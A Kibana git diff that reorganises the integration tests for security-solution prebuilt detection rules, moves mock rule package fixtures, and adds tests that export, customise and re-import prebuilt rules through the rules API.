b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/ess_basic_license.config.ts @@ -17,7 +17,7 @@ export default async function ({ readConfigFile }: FtrConfigProviderContext) { testFiles: [require.resolve('..')], junit: { reportName: - 'Rules Management - Prebuilt Rules (Customization Disabled) Integration Tests - ESS Env Basic License', + 'Rules Management - Prebuilt Rules (Common) Integration Tests - ESS Basic License', }, }; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/serverless_essentials_tier.config.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/serverless_essentials_tier.config.ts index 741d45f9adac9..ad4c4add1afc8 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/serverless_essentials_tier.config.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/configs/serverless_essentials_tier.config.ts @@ -11,6 +11,6 @@ export default createTestConfig({ testFiles: [require.resolve('..')], junit: { reportName: - 'Rules Management - Prebuilt Rules (Customization Disabled) Integration Tests - Serverless Env Essentials Tier', + 'Rules Management - Prebuilt Rules (Common) Integration Tests - Serverless Env Essentials Tier', }, }); diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/fixtures/packages/README.md b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/fixtures/packages/README.md similarity index 73% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/fixtures/packages/README.md rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/fixtures/packages/README.md index f2df5df762a08..359587a445b04 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/fixtures/packages/README.md +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/fixtures/packages/README.md @@ -1,3 +1,3 @@ -This folder contains mock `security_detection_engine` package containing mock rules required for testing in `import/import_with_installing_package.ts`. +This folder contains mock `security_detection_engine` package containing mock rules required for testing. The package intentionally has some high version to avoid real package installation. It's picked up in air gapped environment as well as by direct uploading for installation. diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/fixtures/packages/large/security_detection_engine-100.0.0.zip b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/fixtures/packages/large/security_detection_engine-100.0.0.zip similarity index 100% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/fixtures/packages/large/security_detection_engine-100.0.0.zip rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/fixtures/packages/large/security_detection_engine-100.0.0.zip diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/prebuilt_rules/fixtures/packages/mock-security_detection_engine-99.0.0.zip b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/fixtures/packages/security_detection_engine-99.0.0.zip similarity index 51% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/prebuilt_rules/fixtures/packages/mock-security_detection_engine-99.0.0.zip rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/fixtures/packages/security_detection_engine-99.0.0.zip index b98cda5476938..99cff031837c3 100644 Binary files a/x-pack/test/security_solution_api_integration/test_suites/detections_response/utils/rules/prebuilt_rules/fixtures/packages/mock-security_detection_engine-99.0.0.zip and b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/fixtures/packages/security_detection_engine-99.0.0.zip differ diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/fixtures/packages/security_detection_engine-99.0.1-beta.1.zip b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/fixtures/packages/security_detection_engine-99.0.1-beta.1.zip similarity index 100% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/fixtures/packages/security_detection_engine-99.0.1-beta.1.zip rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/fixtures/packages/security_detection_engine-99.0.1-beta.1.zip diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/fixtures/packages/security_detection_engine-90.0.0.zip b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/fixtures/packages/security_detection_engine-90.0.0.zip deleted file mode 100644 index 348657801f650..0000000000000 Binary files a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/fixtures/packages/security_detection_engine-90.0.0.zip and /dev/null differ diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/export_prebuilt_rules.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/export_prebuilt_rules.ts new file mode 100644 index 0000000000000..57d2e73fe095d --- /dev/null +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/export_prebuilt_rules.ts @@ -0,0 +1,452 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import expect from 'expect'; +import { + BulkActionTypeEnum, + RuleResponse, +} from '@kbn/security-solution-plugin/common/api/detection_engine'; +import { FtrProviderContext } from '../../../../../../ftr_provider_context'; +import { deleteAllRules } from '../../../../../../../common/utils/security_solution'; +import { + binaryToString, + createPrebuiltRuleAssetSavedObjects, + createRuleAssetSavedObject, + deleteAllPrebuiltRuleAssets, + getCustomQueryRuleParams, + installPrebuiltRules, + parseNdJson, +} from '../../../../utils'; + +export default ({ getService }: FtrProviderContext): void => { + const es = getService('es'); + const supertest = getService('supertest'); + const securitySolutionApi = getService('securitySolutionApi'); + const log = getService('log'); + + const PREBUILT_RULE_ID_A = 'test-prebuilt-rule-a'; + const PREBUILT_RULE_ID_B = 'test-prebuilt-rule-b'; + const PREBUILT_RULE_A = createRuleAssetSavedObject({ + rule_id: PREBUILT_RULE_ID_A, + name: 'Non-customized prebuilt rule A', + version: 2, + }); + const PREBUILT_RULE_B = createRuleAssetSavedObject({ + rule_id: PREBUILT_RULE_ID_B, + name: 'Non-customized prebuilt rule B', + version: 3, + }); + + describe('@ess @serverless @skipInServerlessMKI Export prebuilt rules', () => { + beforeEach(async () => { + await deleteAllPrebuiltRuleAssets(es, log); + await deleteAllRules(supertest, log); + }); + + const exportActions = [ + { + name: '_export API', + exportRules: async () => { + const { body: exportResult } = await securitySolutionApi + .exportRules({ + query: {}, + body: null, + }) + .expect(200) + .parse(binaryToString); + + return parseNdJson(exportResult); + }, + }, + { + name: 'bulk actions API', + exportRules: async () => { + const { body } = await securitySolutionApi + .performRulesBulkAction({ + query: {}, + body: { action: BulkActionTypeEnum.export }, + }) + .expect(200) + .parse(binaryToString); + + return parseNdJson(body); + }, + }, + ]; + + for (const { name, exportRules } of exportActions) { + describe(name, () => { + it('exports non-customized prebuilt rules', async () => { + await createPrebuiltRuleAssetSavedObjects(es, [PREBUILT_RULE_A, PREBUILT_RULE_B]); + await installPrebuiltRules(es, supertest); + + const exportResult = await exportRules(); + + // Assert customization state + expect(exportResult).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + rule_id: PREBUILT_RULE_ID_A, + immutable: true, + rule_source: { + type: 'external', + is_customized: false, + }, + }), + expect.objectContaining({ + rule_id: PREBUILT_RULE_ID_B, + immutable: true, + rule_source: { + type: 'external', + is_customized: false, + }, + }), + ]) + ); + + // Assert exported prebuilt rule fields + expect(exportResult).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + ...PREBUILT_RULE_A['security-rule'], + rule_id: PREBUILT_RULE_ID_A, + }), + expect.objectContaining({ + ...PREBUILT_RULE_B['security-rule'], + rule_id: PREBUILT_RULE_ID_B, + }), + ]) + ); + + const exportStats = exportResult.at(-1); + + // Assert export stats + expect(exportStats).toMatchObject({ + exported_rules_count: 2, + missing_rules: [], + }); + }); + + it('exports customized prebuilt rules', async () => { + await createPrebuiltRuleAssetSavedObjects(es, [PREBUILT_RULE_A, PREBUILT_RULE_B]); + await installPrebuiltRules(es, supertest); + + await securitySolutionApi + .patchRule({ + body: { + rule_id: PREBUILT_RULE_ID_A, + name: 'Customized prebuilt rule A', + tags: ['custom-tag-a'], + }, + }) + .expect(200); + await securitySolutionApi + .patchRule({ + body: { + rule_id: PREBUILT_RULE_ID_B, + name: 'Customized prebuilt rule B', + tags: ['custom-tag-b'], + }, + }) + .expect(200); + + const exportResult = await exportRules(); + + // Assert customization state + expect(exportResult).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + rule_id: PREBUILT_RULE_ID_A, + immutable: true, + rule_source: { + type: 'external', + is_customized: true, + }, + }), + expect.objectContaining({ + rule_id: PREBUILT_RULE_ID_B, + immutable: true, + rule_source: { + type: 'external', + is_customized: true, + }, + }), + ]) + ); + + // Assert exported prebuilt rule fields + expect(exportResult).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + ...PREBUILT_RULE_A['security-rule'], + rule_id: PREBUILT_RULE_ID_A, + name: 'Customized prebuilt rule A', + tags: ['custom-tag-a'], + }), + expect.objectContaining({ + ...PREBUILT_RULE_B['security-rule'], + rule_id: PREBUILT_RULE_ID_B, + name: 'Customized prebuilt rule B', + tags: ['custom-tag-b'], + }), + ]) + ); + + const exportStats = exportResult.at(-1); + + // Assert export stats + expect(exportStats).toMatchObject({ + exported_rules_count: 2, + missing_rules: [], + }); + }); + + it('exports a mix of custom and prebuilt rules', async () => { + await createPrebuiltRuleAssetSavedObjects(es, [PREBUILT_RULE_A, PREBUILT_RULE_B]); + await installPrebuiltRules(es, supertest); + + const CUSTOM_RULE_ID_1 = 'custom-rule-id-1'; + const CUSTOM_RULE_ID_2 = 'custom-rule-id-2'; + + await Promise.all([ + securitySolutionApi + .createRule({ body: getCustomQueryRuleParams({ rule_id: CUSTOM_RULE_ID_1 }) }) + .expect(200), + securitySolutionApi + .createRule({ body: getCustomQueryRuleParams({ rule_id: CUSTOM_RULE_ID_2 }) }) + .expect(200), + await securitySolutionApi + .patchRule({ + body: { + rule_id: PREBUILT_RULE_ID_B, + name: 'Customized prebuilt rule B', + tags: ['custom-tag-b'], + }, + }) + .expect(200), + ]); + + const { body: exportResult } = await securitySolutionApi + .exportRules({ query: {}, body: null }) + .expect(200) + .parse(binaryToString); + + const exportJson = parseNdJson(exportResult); + + expect(exportJson).toHaveLength(5); // 2 prebuilt rules + 2 custom rules + 1 stats object + expect(exportJson).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + rule_id: PREBUILT_RULE_ID_A, + immutable: true, + rule_source: { + type: 'external', + is_customized: false, + }, + }), + expect.objectContaining({ + rule_id: PREBUILT_RULE_ID_B, + immutable: true, + rule_source: { + type: 'external', + is_customized: true, + }, + }), + expect.objectContaining({ + rule_id: CUSTOM_RULE_ID_1, + immutable: false, + rule_source: { + type: 'internal', + }, + }), + expect.objectContaining({ + rule_id: CUSTOM_RULE_ID_2, + immutable: false, + rule_source: { + type: 'internal', + }, + }), + ]) + ); + }); + + it('imports a previously exported mix of custom and prebuilt rules', async () => { + await createPrebuiltRuleAssetSavedObjects(es, [PREBUILT_RULE_A, PREBUILT_RULE_B]); + await installPrebuiltRules(es, supertest); + + const CUSTOM_RULE_ID = 'rule-id-1'; + const CUSTOM_RULE = getCustomQueryRuleParams({ rule_id: CUSTOM_RULE_ID }); + + await securitySolutionApi.createRule({ body: CUSTOM_RULE }).expect(200); + + await securitySolutionApi + .patchRule({ + body: { + rule_id: PREBUILT_RULE_ID_B, + tags: ['custom-tag-b'], + }, + }) + .expect(200); + + const { body: exportResult } = await securitySolutionApi + .performRulesBulkAction({ + body: { query: '', action: BulkActionTypeEnum.export }, + query: {}, + }) + .expect(200) + .expect('Content-Type', 'application/ndjson') + .expect('Content-Disposition', 'attachment; filename="rules_export.ndjson"') + .parse(binaryToString); + + await deleteAllRules(supertest, log); + + await securitySolutionApi + .importRules({ query: { overwrite: false } }) + .attach('file', exportResult, 'rules.ndjson') + .expect('Content-Type', 'application/json; charset=utf-8') + .expect(200); + + const { + body: { data: importedRules }, + } = await securitySolutionApi + .findRules({ + query: {}, + }) + .expect(200); + + expect(importedRules).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + rule_id: PREBUILT_RULE_ID_A, + immutable: true, + rule_source: { type: 'external', is_customized: false }, + }), + expect.objectContaining({ + rule_id: PREBUILT_RULE_ID_B, + immutable: true, + rule_source: { type: 'external', is_customized: true }, + }), + expect.objectContaining({ + rule_id: CUSTOM_RULE_ID, + immutable: false, + rule_source: { type: 'internal' }, + }), + ]) + ); + + expect(importedRules).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + ...PREBUILT_RULE_A['security-rule'], + rule_id: PREBUILT_RULE_ID_A, + }), + expect.objectContaining({ + ...PREBUILT_RULE_B['security-rule'], + rule_id: PREBUILT_RULE_ID_B, + tags: ['custom-tag-b'], + }), + expect.objectContaining({ + rule_id: CUSTOM_RULE_ID, + ...CUSTOM_RULE, + }), + ]) + ); + }); + }); + } + + it('exports prebuilt rules by rule_ids via the _export API', async () => { + await createPrebuiltRuleAssetSavedObjects(es, [ + PREBUILT_RULE_A, + PREBUILT_RULE_B, + createRuleAssetSavedObject({ + rule_id: 'test-prebuilt-rule-c', + name: 'Non-customized prebuilt rule C', + version: 5, + }), + ]); + await installPrebuiltRules(es, supertest); + + const { body: exportResult } = await securitySolutionApi + .exportRules({ + query: {}, + body: { objects: [{ rule_id: PREBUILT_RULE_ID_A }, { rule_id: PREBUILT_RULE_ID_B }] }, + }) + .expect(200) + .parse(binaryToString); + + const exportJson = parseNdJson(exportResult); + + expect(exportJson).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + rule_id: PREBUILT_RULE_ID_A, + immutable: true, + rule_source: { + type: 'external', + is_customized: false, + }, + }), + expect.objectContaining({ + rule_id: PREBUILT_RULE_ID_B, + immutable: true, + rule_source: { + type: 'external', + is_customized: false, + }, + }), + ]) + ); + }); + + it('exports prebuilt rules by ids via the bulk actions API', async () => { + await createPrebuiltRuleAssetSavedObjects(es, [PREBUILT_RULE_A, PREBUILT_RULE_B]); + await installPrebuiltRules(es, supertest); + + const { + body: { data: prebuiltRules }, + } = await securitySolutionApi + .findRules({ + query: { page: 1, per_page: 2, filter: 'alert.attributes.params.immutable: true' }, + }) + .expect(200); + + const prebuiltRuleObjectIds = prebuiltRules.map((rule: RuleResponse) => rule.id); + + const { body: exportResult } = await securitySolutionApi + .performRulesBulkAction({ + query: {}, + body: { action: BulkActionTypeEnum.export, ids: prebuiltRuleObjectIds }, + }) + .expect(200) + .parse(binaryToString); + + const exportJson = parseNdJson(exportResult); + + expect(exportJson).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + id: prebuiltRuleObjectIds[0], + immutable: true, + rule_source: { + type: 'external', + is_customized: false, + }, + }), + expect.objectContaining({ + id: prebuiltRuleObjectIds[1], + immutable: true, + rule_source: { + type: 'external', + is_customized: false, + }, + }), + ]) + ); + }); + }); +}; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/import_multiple_prebuilt_rules.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/import_multiple_prebuilt_rules.ts similarity index 100% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/import_multiple_prebuilt_rules.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/import_multiple_prebuilt_rules.ts diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/import_outdated_prebuilt_rules.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/import_outdated_prebuilt_rules.ts similarity index 100% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/import_outdated_prebuilt_rules.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/import_outdated_prebuilt_rules.ts diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/import_single_prebuilt_rule.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/import_single_prebuilt_rule.ts similarity index 100% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/import_single_prebuilt_rule.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/import_single_prebuilt_rule.ts diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/import_with_installing_package.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/import_with_installing_package.ts similarity index 81% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/import_with_installing_package.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/import_with_installing_package.ts index db4f93b0db548..9dc79ddb2ae84 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/import_with_installing_package.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/import_with_installing_package.ts @@ -5,16 +5,13 @@ * 2.0. */ -import path from 'path'; -import fs from 'fs'; import expect from 'expect'; -import type { Client } from '@elastic/elasticsearch'; -import type SuperTest from 'supertest'; import { deleteAllPrebuiltRuleAssets, installPrebuiltRules, - refreshSavedObjectIndices, importRulesWithSuccess, + installMockPrebuiltRulesPackage, + deletePrebuiltRulesFleetPackage, } from '../../../../utils'; import { deleteAllRules } from '../../../../../../../common/utils/security_solution'; import { FtrProviderContext } from '../../../../../../ftr_provider_context'; @@ -32,8 +29,8 @@ export default ({ getService }: FtrProviderContext): void => { rule_id: PREBUILT_RULE_ID_A, version: 3, type: 'query', - name: 'Mock rule A from mock 90.0.0 package', - description: 'Mock rule A from mock 90.0.0 package', + name: 'Mock rule A from mock 99.0.0 package', + description: 'Mock rule A from mock 99.0.0 package', risk_score: 47, severity: 'medium', from: 'now-30m', @@ -53,7 +50,7 @@ export default ({ getService }: FtrProviderContext): void => { rule_id: PREBUILT_RULE_ID_B, version: 3, type: 'eql', - name: 'Mock rule B from mock 90.0.0 package', + name: 'Mock rule B from mock 99.0.0 package', description: 'Custom description', tags: ['custom-tag'], risk_score: 47, @@ -73,9 +70,9 @@ export default ({ getService }: FtrProviderContext): void => { describe('@ess @serverless @skipInServerlessMKI Import prebuilt rules when the package is not installed', () => { beforeEach(async () => { + await deletePrebuiltRulesFleetPackage({ supertest, es, log, retryService }); await deleteAllRules(supertest, log); await deleteAllPrebuiltRuleAssets(es, log); - await deleteMockPrebuiltRulesPackage(supertest); }); after(async () => { @@ -171,7 +168,7 @@ export default ({ getService }: FtrProviderContext): void => { // Package installation is rate limited. A single package installation is allowed per 10 seconds. await retryService.tryWithRetries( 'installSecurityDetectionEnginePackage', - async () => await installMockPrebuiltRulesPackageWithTestRules(es, supertest), + async () => await installMockPrebuiltRulesPackage(es, supertest), { retryCount: 5, retryDelay: 5000, @@ -179,7 +176,7 @@ export default ({ getService }: FtrProviderContext): void => { } ); await installPrebuiltRules(es, supertest); - await deleteMockPrebuiltRulesPackage(supertest).expect(200); + await deletePrebuiltRulesFleetPackage({ supertest, es, log, retryService }); await importRulesWithSuccess({ getService, @@ -246,32 +243,3 @@ export default ({ getService }: FtrProviderContext): void => { }); }); }; - -async function installMockPrebuiltRulesPackageWithTestRules( - es: Client, - supertest: SuperTest.Agent -): Promise { - const buffer = fs.readFileSync( - path.join(path.dirname(__filename), './fixtures/packages/security_detection_engine-90.0.0.zip') - ); - const response = await supertest - .post('/api/fleet/epm/packages') - .set('kbn-xsrf', 'xxxx') - .set('elastic-api-version', '2023-10-31') - .type('application/zip') - .send(buffer) - .expect(200); - - expect(response.body.items).toBeDefined(); - expect(response.body.items.length).toBeGreaterThan(0); - - await refreshSavedObjectIndices(es); -} - -function deleteMockPrebuiltRulesPackage(supertest: SuperTest.Agent): SuperTest.Test { - return supertest - .delete('/api/fleet/epm/packages/security_detection_engine/90.0.0') - .set('kbn-xsrf', 'xxxx') - .set('elastic-api-version', '2023-10-31') - .send(); -} diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/import_with_missing_base_version.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/import_with_missing_base_version.ts similarity index 85% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/import_with_missing_base_version.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/import_with_missing_base_version.ts index 25e4ca247ff51..22fcbd85e2cd0 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/import_with_missing_base_version.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/import_with_missing_base_version.ts @@ -48,6 +48,41 @@ export default ({ getService }: FtrProviderContext): void => { }); describe('without override (prebuilt rule is not installed)', () => { + it('imports prebuilt rule as a custom rule when there are no matching prebuilt rule assets', async () => { + const UNKNOWN_PREBUILT_RULE_ASSET = createRuleAssetSavedObject({ + rule_id: 'test-unknown-prebuilt-rule', + version: 5, + name: 'Stock rule name', + description: 'Stock rule description', + }); + const UNKNOWN_PREBUILT_RULE_TO_IMPORT = { + ...UNKNOWN_PREBUILT_RULE_ASSET['security-rule'], + immutable: true, + rule_source: { + type: 'external', + is_customized: false, + }, + }; + + await importRulesWithSuccess({ + getService, + rules: [UNKNOWN_PREBUILT_RULE_TO_IMPORT], + overwrite: false, + }); + + await assertImportedRule({ + getService, + expectedRule: { + ...UNKNOWN_PREBUILT_RULE_TO_IMPORT, + version: 5, + immutable: false, + rule_source: { + type: 'internal', + }, + }, + }); + }); + for (const version of [ CURRENT_PREBUILT_RULE_VERSION - 1, CURRENT_PREBUILT_RULE_VERSION + 1, diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/import_with_missing_fields.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/import_with_missing_fields.ts similarity index 100% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/import_with_missing_fields.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/import_with_missing_fields.ts diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/index.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/index.ts similarity index 92% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/index.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/index.ts index cb601bfe52fed..5a3175bdbf7d9 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import/index.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/import_export/index.ts @@ -8,6 +8,7 @@ import { FtrProviderContext } from '../../../../../../ftr_provider_context'; export default ({ loadTestFile }: FtrProviderContext): void => { + loadTestFile(require.resolve('./export_prebuilt_rules')); loadTestFile(require.resolve('./import_single_prebuilt_rule')); loadTestFile(require.resolve('./import_multiple_prebuilt_rules')); loadTestFile(require.resolve('./import_outdated_prebuilt_rules')); diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/index.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/index.ts index b450ece788e49..a75d791d2d642 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/index.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/index.ts @@ -10,6 +10,10 @@ import { FtrProviderContext } from '../../../../../ftr_provider_context'; export default ({ loadTestFile }: FtrProviderContext): void => { describe('Rules Management - Prebuilt Rules (Common tests)', function () { this.tags('skipFIPS'); - loadTestFile(require.resolve('./import')); + loadTestFile(require.resolve('./import_export')); + loadTestFile(require.resolve('./install_prebuilt_rules')); + loadTestFile(require.resolve('./prebuilt_rules_package')); + loadTestFile(require.resolve('./revert_prebuilt_rules')); + loadTestFile(require.resolve('./status')); }); }; diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/install_prebuilt_rules/index.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/install_prebuilt_rules/index.ts similarity index 100% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/install_prebuilt_rules/index.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/install_prebuilt_rules/index.ts diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/install_prebuilt_rules/install_mocked_prebuilt_rule_assets.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/install_prebuilt_rules/install_mocked_prebuilt_rule_assets.ts similarity index 97% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/install_prebuilt_rules/install_mocked_prebuilt_rule_assets.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/install_prebuilt_rules/install_mocked_prebuilt_rule_assets.ts index bf14bd4033b2c..268941d9989c4 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/install_prebuilt_rules/install_mocked_prebuilt_rule_assets.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/install_prebuilt_rules/install_mocked_prebuilt_rule_assets.ts @@ -18,7 +18,6 @@ import { getPrebuiltRulesStatus, installPrebuiltRules, getInstalledRules, - getWebHookAction, } from '../../../../utils'; import { deleteAllRules, deleteRule } from '../../../../../../../common/utils/security_solution'; @@ -204,21 +203,16 @@ export default ({ getService }: FtrProviderContext): void => { ]); await installPrebuiltRulesAndTimelines(es, supertest); - const { body: hookAction } = await supertest - .post('/api/actions/connector') - .set('kbn-xsrf', 'true') - .send(getWebHookAction()) - .expect(200); - await securitySolutionApi .patchRule({ body: { rule_id: 'rule-1', actions: [ + // use a pre-configured connector { group: 'default', - id: hookAction.id, - action_type_id: hookAction.connector_type_id, + id: 'my-test-email', + action_type_id: '.email', params: {}, }, ], @@ -243,10 +237,10 @@ export default ({ getService }: FtrProviderContext): void => { // Check the actions field of existing prebuilt rules is not overwritten expect(prebuiltRule.actions).toEqual([ expect.objectContaining({ - action_type_id: hookAction.connector_type_id, + action_type_id: '.email', frequency: { notifyWhen: 'onActiveAlert', summary: true, throttle: null }, group: 'default', - id: hookAction.id, + id: 'my-test-email', params: {}, }), ]); diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/index.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/air_gapped/index.ts similarity index 83% rename from x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/index.ts rename to x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/air_gapped/index.ts index 888e27843cc19..8959e2bf853b2 100644 --- a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/index.ts +++ b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/air_gapped/index.ts @@ -8,7 +8,8 @@ import { FtrProviderContext } from '../../../../../../../ftr_provider_context'; export default ({ loadTestFile }: FtrProviderContext): void => { - describe('Air-gapped environment with pre-bundled packages', () => { + describe('Air-gapped environment with pre-bundled packages', function () { + this.tags('skipFIPS'); loadTestFile(require.resolve('./install_bundled_package')); loadTestFile(require.resolve('./prerelease_packages')); }); diff --git a/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/customization_enabled/prebuilt_rules_package/air_gapped/install_bundled_package.ts b/x-pack/test/security_solution_api_integration/test_suites/detections_response/rules_management/prebuilt_rules/common/prebuilt_rules_package/air_gapped/install_bundled_package.ts similarity index 84% rename from 